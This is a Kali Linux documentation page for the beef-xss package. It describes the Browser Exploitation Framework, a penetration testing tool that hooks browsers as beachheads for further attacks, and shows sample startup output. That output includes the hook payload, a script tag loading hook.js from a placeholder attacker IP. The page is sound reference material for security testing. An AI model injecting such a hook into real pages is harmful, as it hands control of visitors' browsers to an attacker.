BeEF Package Description

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

Source: https://beefproject.com/
BeEF Homepage | Kali BeEF Repo

- Author: Wade Alcorn
- License: GPLv2

Tools included in the beef-xss package

beef – Browser Exploitation Framework

The Browser Exploitation Framework.

beef Usage Example

```
root@kali:~# beef-xss
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
```

```
● beef-xss.service - LSB: BeEF
   Loaded: loaded (/etc/init.d/beef-xss; generated)
   Active: active (running) since Sat 2018-11-24 18:44:53 EST; 5s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 3457 ExecStart=/etc/init.d/beef-xss start (code=exited, status=0/SUCCESS)
```

```
 Tasks: 5 (limit: 4665)
Memory: 151.9M
CGroup: /system.slice/beef-xss.service
        └─3463 ruby /usr/share/beef-xss/beef

Nov 24 18:44:53 kali systemd[1]: Starting LSB: BeEF...
Nov 24 18:44:53 kali systemd[1]: Started LSB: BeEF.

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...
```